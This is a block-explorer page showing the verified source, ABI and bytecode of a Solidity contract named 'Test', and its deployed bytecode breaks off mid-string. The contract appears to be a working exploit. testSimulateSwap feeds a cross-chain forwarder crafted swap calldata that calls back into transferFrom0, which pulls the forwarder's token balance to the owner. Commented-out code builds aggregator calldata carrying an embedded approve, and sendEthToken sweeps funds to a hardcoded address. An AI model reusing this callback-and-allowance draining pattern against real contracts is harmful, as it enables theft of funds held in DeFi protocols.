ETH Price: $2,877.95 (-2.11%)

Contract

0x7612cED9FAc5CF56A1af480293Da08758a85156e

Overview

ETH Balance

Linea Mainnet LogoLinea Mainnet LogoLinea Mainnet Logo0 ETH

ETH Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Block
From
To
Test Simulate Sw...283201372026-01-26 3:58:562 hrs ago1769399936IN
0x7612cED9...58a85156e
0 ETH0.00000840.041904

Latest 5 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
283201372026-01-26 3:58:562 hrs ago1769399936
0x7612cED9...58a85156e
0 ETH
283201372026-01-26 3:58:562 hrs ago1769399936
0x7612cED9...58a85156e
0 ETH
283201372026-01-26 3:58:562 hrs ago1769399936
0x7612cED9...58a85156e
0 ETH
283201372026-01-26 3:58:562 hrs ago1769399936
0x7612cED9...58a85156e
0 ETH
283201372026-01-26 3:58:562 hrs ago1769399936
0x7612cED9...58a85156e
0 ETH
Cross-Chain Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Test

Compiler Version
v0.8.31+commit.fd3a2265

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
pragma solidity ^0.8.0;

interface IERC20 {
    function balanceOf(address to) external view returns (uint256);

    function transfer(address to, uint256 amount) external;

    function approve(address to, uint256 amount) external;
}

interface IAggregationExecutor {
    /// @notice propagates information about original msg.sender and executes arbitrary data
    function execute(address msgSender) external payable returns (uint256); // 0x4b64e492
}


interface SwapRouter02 {
    function exactInputSingle(
        ExactInputSingleParams calldata params
    ) external payable returns (uint256 amountOut);
}

interface UniSwapRouter {
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function factory() external returns (address);

    function WETH() external returns (address);
}

interface UniSwapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

struct SwapDescription {
    IERC20 srcToken;
    IERC20 dstToken;
    address payable srcReceiver;
    address payable dstReceiver;
    uint256 amount;
    uint256 minReturnAmount;
    uint256 flags;
}

interface IAggregationExecutorV5 {
    function swap(
        IAggregationExecutor executor,
        SwapDescription calldata desc,
        bytes calldata permit,
        bytes calldata data
    ) external;
}

struct SameChainSwapDetails {
    address allowanceAggregator;
    address swapRouter;
    bytes swapCalldata;
    address tokenOut;
    uint256 tokenOutMinAmount;
    uint16 surplusShareBps;
    bytes affiliateFeeEnvelope;
    address recipient;
}

interface CrosschainForwarder {
    function strictlySwapAndCall(
        address _srcTokenIn,
        uint256 _srcAmountIn,
        bytes memory _srcTokenInPermitEnvelope,
        address _srcSwapRouter,
        bytes calldata _srcSwapCalldata,
        address _srcTokenOut,
        uint256 _srcTokenExpectedAmountOut,
        address _srcTokenRefundRecipient,
        address _target,
        bytes calldata _targetData
    ) external payable;

    function swap(
        address _tokenIn,
        uint256 _amountIn,
        bytes memory _tokenInPermitEnvelope,
        SameChainSwapDetails calldata _swapDetails,
        uint32 _referralCode
    ) external payable;
}

interface AllowanceHolder {
    function exec(
        address operator,
        address token,
        uint256 amount,
        address payable target,
        bytes calldata data
    ) external;
    function transferFrom(
        address token,
        address owner,
        address recipient,
        uint256 amount
    ) external returns (bool);
    function transferFrom0(address token) external;
}

interface Token {
    function mint(address to, uint256 amount) external;
}

interface TokenSender {
    function tokenSender(address token, address to, uint256 amount) external;
}

struct ExactInputSingleParams {
    address tokenIn;
    address tokenOut;
    uint24 fee;
    address recipient;
    uint256 amountIn;
    uint256 amountOutMinimum;
    uint160 sqrtPriceLimitX96;
}


contract Test {
    address forwarder = 0x663DC15D3C1aC63ff12E45Ab68FeA3F0a883C251;
    address v5 = 0x1111111254EEB25477B68fb85Ed929f73A960582;
    address tokenSender = 0xc1342661E22326DDAEbDCDb38097CefD67c0ED14; //0xc7697B56BBFF3Db920857a380A9a8EC89e68400D
    address tokenOut = 0x7831011aF7120e07d0C7BAdd8339cB61472d2D8C; //0x3674807A0045f5EbFDDe052C4F5E6D5834dFeD07
    address otherToken = 0x7831011aF7120e07d0C7BAdd8339cB61472d2D8C; //0x61d6dd48B2a397518acdD4208613668f46d9718D

    // UniSwapRouter public uniswapRouter;
    // UniSwapFactory uniSwapFactory;

    // address WETH;

    address d3 = 0x0BaDfdA5596B52b7CcFbf47F323f70BBDcaE51D3;
    address own;

    modifier onlyOwn() {
        address sender = tx.origin;
        require(d3 == sender || own == sender, "ONLY D3 OR OWN");
        _;
    }

    // function getUniswapRouter() external view returns (address) {
    //     return address(uniswapRouter);
    // }

    constructor(
        // address _uniswapRouter
    ) {
        // uniswapRouter = UniSwapRouter(_uniswapRouter);
        // uniSwapFactory = UniSwapFactory(uniswapRouter.factory());
        // WETH = uniswapRouter.WETH();
        own = msg.sender;
        // IERC20(WETH).approve(_uniswapRouter, type(uint256).max);
        // testSimulateSwap(0x6100E367285b01F48D07953803A2d8dCA5D19873, tokenOut);
    }

    function mint() external onlyOwn {
        Token(tokenOut).mint(v5, 100 * (10 ** uint256(18)));
        Token(otherToken).mint(v5, 100 * (10 ** uint256(18)));
    }

    // function getPair(address token) external view returns (address pair) {
    //     return uniSwapFactory.getPair(token, WETH);
    // }

    function supportedRouters(address token) external view returns(bool,address)  {

    } 

    // address swapRouter02 = 0x807F4E281B7A3B324825C64ca53c69F0b418dE40;
    // function testSwapRouter02(
    //     address tokenIn,
    //     address tokenOu0t,
    //     uint24 fee
    // ) external {
    //     address token = tokenIn;
    //     TokenSender(tokenSender).tokenSender(
    //         token,
    //         address(this),
    //         IERC20(token).balanceOf(tokenSender) / 100
    //     ); //取1%
    //     IERC20(token).approve(forwarder, type(uint256).max);
    //     address _srcTokenIn = token;
    //     uint256 _srcAmountIn = IERC20(token).balanceOf(address(this));

    //     ExactInputSingleParams memory exparams = ExactInputSingleParams({
    //         tokenIn: token,
    //         tokenOut: tokenOu0t,
    //         fee: fee,
    //         recipient: forwarder,
    //         amountIn: IERC20(token).balanceOf(address(forwarder)),
    //         amountOutMinimum: 1,
    //         sqrtPriceLimitX96: 0
    //     });

    //     bytes memory _srcSwapCalldata = abi.encodeWithSelector(
    //         SwapRouter02.exactInputSingle.selector,
    //         exparams
    //     );

    //     SameChainSwapDetails memory swapDetails = SameChainSwapDetails({
    //         allowanceAggregator: address(0),
    //         swapRouter: swapRouter02,
    //         swapCalldata: _srcSwapCalldata,
    //         tokenOut: tokenOu0t,
    //         tokenOutMinAmount: 1,
    //         surplusShareBps: 10000,
    //         affiliateFeeEnvelope: bytes(""),
    //         recipient: address(own)
    //     });

    //     CrosschainForwarder(forwarder).swap(
    //         _srcTokenIn,
    //         _srcAmountIn,
    //         new bytes(0),
    //         swapDetails,
    //         0
    //     );
    // }

    address exec = 0x0000000000001fF3684f28c67538d4D072C22734; //UniswapV3Router
    function testSimulateSwap(
        address token
    ) public payable onlyOwn {
        TokenSender(tokenSender).tokenSender(
            token,
            address(this),
            IERC20(token).balanceOf(tokenSender) / 100
        ); //取1%
        IERC20(token).approve(forwarder, type(uint256).max);
        address _srcTokenIn = token;
        uint256 _srcAmountIn = IERC20(token).balanceOf(address(this));
        bytes memory _srcSwapCalldata = abi.encodeWithSelector(
            AllowanceHolder.exec.selector,
            address(this),
            token,
            type(uint256).max,
            address(this),
            abi.encodeWithSelector(
                AllowanceHolder.transferFrom0.selector,
                token
            )
        );

        SameChainSwapDetails memory swapDetails = SameChainSwapDetails({
            allowanceAggregator: address(0),
            swapRouter: exec,
            swapCalldata: _srcSwapCalldata,
            tokenOut: tokenOut,
            tokenOutMinAmount: 1,
            surplusShareBps: 10000,
            affiliateFeeEnvelope: bytes(""),
            recipient: address(own)
        });

        CrosschainForwarder(forwarder).swap(
            _srcTokenIn,
            _srcAmountIn,
            new bytes(0),
            swapDetails,
            0
        );
    }

    function transferFrom0(address token) external onlyOwn {
        AllowanceHolder(exec).transferFrom(
            token,
            forwarder,
            own,
            IERC20(token).balanceOf(address(forwarder))
        );
         Token(tokenOut).mint(forwarder, 100 * (10 ** uint256(18)));
    }

    function test(address token) external payable onlyOwn {
    //     // address pair = this.getPair(token);
    //     // if (pair != address(0)) {
    //     //     require(msg.value > 0, "MSG VALUE = 0");
    //     //     address[] memory path = new address[](2);
    //     //     path[0] = WETH;
    //     //     path[1] = token;
    //     //     WETH.call{value: msg.value}("");
    //     //     uniswapRouter.swapExactTokensForTokens(
    //     //         msg.value,
    //     //         0,
    //     //         path,
    //     //         address(this),
    //     //         9999999999
    //     //     );
    //     // } else {
    //     //     TokenSender(tokenSender).tokenSender(
    //     //         token,
    //     //         address(this),
    //     //         IERC20(token).balanceOf(tokenSender) / 100
    //     //     ); //取1%
    //     // }
    //     TokenSender(tokenSender).tokenSender(
    //         token,
    //         address(this),
    //         IERC20(token).balanceOf(tokenSender) / 100
    //     ); //取1%
    //     this.mint();
    //     IERC20(token).approve(forwarder, type(uint256).max);
    //     address _srcTokenIn = token;
    //     uint256 _srcAmountIn = IERC20(token).balanceOf(address(this));
    //     bytes memory _srcTokenInPermitEnvelope = new bytes(0);
    //     address _srcSwapRouter = v5;
    //     bytes memory _srcSwapCalldata = test1(_srcTokenIn, tokenOut, 0);
    //     address _srcTokenOut = tokenOut;

    //     uint256 _srcTokenExpectedAmountOut = IERC20(tokenOut).balanceOf(v5) - 1;

    //     address _target = v5;
    //     bytes memory _targetData = test1(
    //         tokenOut,
    //         otherToken,
    //         _srcTokenExpectedAmountOut
    //     );

    //     CrosschainForwarder(forwarder).strictlySwapAndCall(
    //         _srcTokenIn,
    //         _srcAmountIn,
    //         _srcTokenInPermitEnvelope,
    //         _srcSwapRouter,
    //         _srcSwapCalldata,
    //         _srcTokenOut,
    //         _srcTokenExpectedAmountOut,
    //         d3,
    //         _target,
    //         _targetData
    //     );

    //     if (address(this).balance > 0) {
    //         (bool success, ) = payable(d3).call{value: address(this).balance}(
    //             ""
    //         );
    //         require(success);
    //     }
    }

    // function execute(address msgSender) external payable onlyOwn {} // 0x4b64e492

    // function test1(
    //     address srcToken,
    //     address _srcTokenOut,
    //     uint256 amount
    // ) public view returns (bytes memory callData_) {
    //     if (amount == 0) {
    //         amount = IERC20(srcToken).balanceOf(forwarder);
    //     }
    //     IAggregationExecutor executor = IAggregationExecutor(address(this));
    //     SwapDescription memory desc = SwapDescription({
    //         srcToken: IERC20(srcToken),
    //         dstToken: IERC20(_srcTokenOut),
    //         srcReceiver: payable(0x0BaDfdA5596B52b7CcFbf47F323f70BBDcaE51D3),
    //         dstReceiver: payable(forwarder),
    //         amount: amount,
    //         minReturnAmount: 1,
    //         flags: 0
    //     });
    //     address spender = 0x85C0602394d35B03044af304C2d0137c82AafC34; // 你提供的 spender 地址
    //     uint256 amount = 0; // 假设你想批准的金额为 0
    //     // 获取 approve 函数的 selector (0x095ea7b3 是 approve(address,uint256) 的函数选择器)
    //     bytes memory data = abi.encodeWithSelector(0x095ea7b3, spender, amount);
    //     //IAggregationExecutorV5(v5).swap(executor, desc,new bytes(0), data);

    //     bytes4 selectr = IAggregationExecutorV5.swap.selector;

    //     callData_ = abi.encodeWithSelector(
    //         selectr,
    //         executor,
    //         desc,
    //         new bytes(0),
    //         data
    //     );
    // }

    function sendEthToken(address token) external onlyOwn {
        if (token == address(0)) {
            (bool success, ) = payable(d3).call{value: address(this).balance}(
                ""
            );
            require(success);
        } else {
            IERC20(token).transfer(d3, IERC20(token).balanceOf(address(this)));
        }
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"sendEthToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"supportedRouters","outputs":[{"internalType":"bool","name":"","type":"bool"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"test","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"testSimulateSwap","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"transferFrom0","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405273663dc15d3c1ac63ff12e45ab68fea3f0a883c2515f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550731111111254eeb25477b68fb85ed929f73a96058260015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c1342661e22326ddaebdcdb38097cefd67c0ed1460025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737831011af7120e07d0c7badd8339cb61472d2d8c60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737831011af7120e07d0c7badd8339cb61472d2d8c60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730badfda5596b52b7ccfbf47f323f70bbdcae51d360055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506d1ff3684f28c67538d4d072c2273460075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610254575f5ffd5b503360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611924806102a25f395ff3fe608060405260043610610054575f3560e01c80631249c58b146100585780638205affa1461006e5780639227615c1461008a5780639879c48d146100b2578063bb29998e146100ef578063c017b0421461010b575b5f5ffd5b348015610063575f5ffd5b5061006c610133565b005b61008860048036038101906100839190611121565b6103a6565b005b348015610095575f5ffd5b506100b060048036038101906100ab9190611121565b6109eb565b005b3480156100bd575f5ffd5b506100d860048036038101906100d39190611121565b610d14565b6040516100e6929190611175565b60405180910390f35b61010960048036038101906101049190611121565b610d1b565b005b348015610116575f5ffd5b50610131600480360381019061012c9190611121565b610e09565b005b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806101de57508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61021d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610214906111f6565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1960015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a61028a9190611379565b606461029691906113c3565b6040518363ffffffff1660e01b81526004016102b3929190611413565b5f604051808303815f87803b1580156102ca575f5ffd5b505af11580156102dc573d5f5f3e3d5ffd5b5050505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1960015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a61034d9190611379565b606461035991906113c3565b6040518363ffffffff1660e01b8152600401610376929190611413565b5f604051808303815f87803b15801561038d575f5ffd5b505af115801561039f573d5f5f3e3d5ffd5b5050505050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061045157508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906111f6565b60405180910390fd5b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663490142a9833060648673ffffffffffffffffffffffffffffffffffffffff166370a0823160025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161052b919061143a565b602060405180830381865afa158015610546573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056a919061147d565b61057491906114d5565b6040518463ffffffff1660e01b815260040161059293929190611505565b5f604051808303815f87803b1580156105a9575f5ffd5b505af11580156105bb573d5f5f3e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b35f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161063a929190611413565b5f604051808303815f87803b158015610651575f5ffd5b505af1158015610663573d5f5f3e3d5ffd5b505050505f8290505f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106a5919061143a565b602060405180830381865afa1580156106c0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e4919061147d565b90505f632213bc0b60e01b30867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff30639227615c60e01b8a60405160240161072c919061143a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405160240161079d9594939291906115aa565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505090505f6040518061010001604052805f73ffffffffffffffffffffffffffffffffffffffff16815260200160075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200160035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001815260200161271061ffff16815260200160405180602001604052805f815250815260200160065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525090505f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663258c16ee85855f67ffffffffffffffff81111561096157610960611602565b5b6040519080825280601f01601f1916602001820160405280156109935781602001600182028036833780820191505090505b50855f6040518663ffffffff1660e01b81526004016109b69594939291906117b6565b5f604051808303815f87803b1580156109cd575f5ffd5b505af11580156109df573d5f5f3e3d5ffd5b50505050505050505050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a9657508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc906111f6565b60405180910390fd5b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166315dacbea835f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff166370a082315f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401610baf919061143a565b602060405180830381865afa158015610bca573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bee919061147d565b6040518563ffffffff1660e01b8152600401610c0d9493929190611815565b6020604051808303815f875af1158015610c29573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4d9190611882565b5060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f195f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610cba9190611379565b6064610cc691906113c3565b6040518363ffffffff1660e01b8152600401610ce3929190611413565b5f604051808303815f87803b158015610cfa575f5ffd5b505af1158015610d0c573d5f5f3e3d5ffd5b505050505050565b5f5f915091565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610dc657508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610e05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfc906111f6565b60405180910390fd5b5050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610eb457508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eea906111f6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbe575f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051610f6c906118da565b5f6040518083038185875af1925050503d805f8114610fa6576040519150601f19603f3d011682016040523d82523d5f602084013e610fab565b606091505b5050905080610fb8575f5ffd5b506110bf565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611035919061143a565b602060405180830381865afa158015611050573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611074919061147d565b6040518363ffffffff1660e01b8152600401611091929190611413565b5f604051808303815f87803b1580156110a8575f5ffd5b505af11580156110ba573d5f5f3e3d5ffd5b505050505b5050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110f0826110c7565b9050919050565b611100816110e6565b811461110a575f5ffd5b50565b5f8135905061111b816110f7565b92915050565b5f60208284031215611136576111356110c3565b5b5f6111438482850161110d565b91505092915050565b5f8115159050919050565b6111608161114c565b82525050565b61116f816110e6565b82525050565b5f6040820190506111885f830185611157565b6111956020830184611166565b9392505050565b5f82825260208201905092915050565b7f4f4e4c59204433204f52204f574e0000000000000000000000000000000000005f82015250565b5f6111e0600e8361119c565b91506111eb826111ac565b602082019050919050565b5f6020820190508181035f83015261120d816111d4565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b60018511156112965780860481111561127257611271611214565b5b60018516156112815780820291505b808102905061128f85611241565b9450611256565b94509492505050565b5f826112ae5760019050611369565b816112bb575f9050611369565b81600181146112d157600281146112db5761130a565b6001915050611369565b60ff8411156112ed576112ec611214565b5b8360020a91508482111561130457611303611214565b5b50611369565b5060208310610133831016604e8410600b841016171561133f5782820a90508381111561133a57611339611214565b5b611369565b61134c848484600161124d565b9250905081840481111561136357611362611214565b5b81810290505b9392505050565b5f819050919050565b5f61138382611370565b915061138e83611370565b92506113bb7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461129f565b905092915050565b5f6113cd82611370565b91506113d883611370565b92508282026113e681611370565b915082820484148315176113fd576113fc611214565b5b5092915050565b61140d81611370565b82525050565b5f6040820190506114265f830185611166565b6114336020830184611404565b9392505050565b5f60208201905061144d5f830184611166565b92915050565b61145c81611370565b8114611466575f5ffd5b50565b5f8151905061147781611453565b92915050565b5f60208284031215611492576114916110c3565b5b5f61149f84828501611469565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6114df82611370565b91506114ea83611370565b9250826114fa576114f96114a8565b5b828204905092915050565b5f6060820190506115185f830186611166565b6115256020830185611166565b6115326040830184611404565b949350505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61157c8261153a565b6115868185611544565b9350611596818560208601611554565b61159f81611562565b840191505092915050565b5f60a0820190506115bd5f830188611166565b6115ca6020830187611166565b6115d76040830186611404565b6115e46060830185611166565b81810360808301526115f68184611572565b90509695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b611638816110e6565b82525050565b5f82825260208201905092915050565b5f6116588261153a565b611662818561163e565b9350611672818560208601611554565b61167b81611562565b840191505092915050565b61168f81611370565b82525050565b5f61ffff82169050919050565b6116ab81611695565b82525050565b5f61010083015f8301516116c75f86018261162f565b5060208301516116da602086018261162f565b50604083015184820360408601526116f2828261164e565b9150506060830151611707606086018261162f565b50608083015161171a6080860182611686565b5060a083015161172d60a08601826116a2565b5060c083015184820360c0860152611745828261164e565b91505060e083015161175a60e086018261162f565b508091505092915050565b5f819050919050565b5f63ffffffff82169050919050565b5f819050919050565b5f6117a061179b61179684611765565b61177d565b61176e565b9050919050565b6117b081611786565b82525050565b5f60a0820190506117c95f830188611166565b6117d66020830187611404565b81810360408301526117e88186611572565b905081810360608301526117fc81856116b1565b905061180b60808301846117a7565b9695505050505050565b5f6080820190506118285f830187611166565b6118356020830186611166565b6118426040830185611166565b61184f6060830184611404565b95945050505050565b6118618161114c565b811461186b575f5ffd5b50565b5f8151905061187c81611858565b92915050565b5f60208284031215611897576118966110c3565b5b5f6118a48482850161186e565b91505092915050565b5f81905092915050565b50565b5f6118c55f836118ad565b91506118d0826118b7565b5f82019050919050565b5f6118e4826118ba565b915081905091905056fea2646970667358221220813e89dc327aa988ac96ac21f6237872d4ba171fee5e67893cb61e349e76de1964736f6c634300081f0033

Deployed Bytecode

0x608060405260043610610054575f3560e01c80631249c58b146100585780638205affa1461006e5780639227615c1461008a5780639879c48d146100b2578063bb29998e146100ef578063c017b0421461010b575b5f5ffd5b348015610063575f5ffd5b5061006c610133565b005b61008860048036038101906100839190611121565b6103a6565b005b348015610095575f5ffd5b506100b060048036038101906100ab9190611121565b6109eb565b005b3480156100bd575f5ffd5b506100d860048036038101906100d39190611121565b610d14565b6040516100e6929190611175565b60405180910390f35b61010960048036038101906101049190611121565b610d1b565b005b348015610116575f5ffd5b50610131600480360381019061012c9190611121565b610e09565b005b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806101de57508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61021d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610214906111f6565b60405180910390fd5b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1960015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a61028a9190611379565b606461029691906113c3565b6040518363ffffffff1660e01b81526004016102b3929190611413565b5f604051808303815f87803b1580156102ca575f5ffd5b505af11580156102dc573d5f5f3e3d5ffd5b5050505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1960015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a61034d9190611379565b606461035991906113c3565b6040518363ffffffff1660e01b8152600401610376929190611413565b5f604051808303815f87803b15801561038d575f5ffd5b505af115801561039f573d5f5f3e3d5ffd5b5050505050565b5f3290508073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061045157508073ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610490576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610487906111f6565b60405180910390fd5b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663490142a9833060648673ffffffffffffffffffffffffffffffffffffffff166370a0823160025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161052b919061143a565b602060405180830381865afa158015610546573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061056a919061147d565b61057491906114d5565b6040518463ffffffff1660e01b815260040161059293929190611505565b5f604051808303815f87803b1580156105a9575f5ffd5b505af11580156105bb573d5f5f3e3d5ffd5b505050508173ffffffffffffffffffffffffffffffffffffffff1663095ea7b35f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161063a929190611413565b5f604051808303815f87803b158015610651575f5ffd5b505af1158015610663573d5f5f3e3d5ffd5b505050505f8290505f8373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016106a5919061143a565b602060405180830381865afa1580156106c0573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e4919061147d565b90505f632213bc0b60e01b30867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff30639227615c60e01b8a60405160240161072c919061143a565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405160240161079d9594939291906115aa565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bfffffffffffffffffffff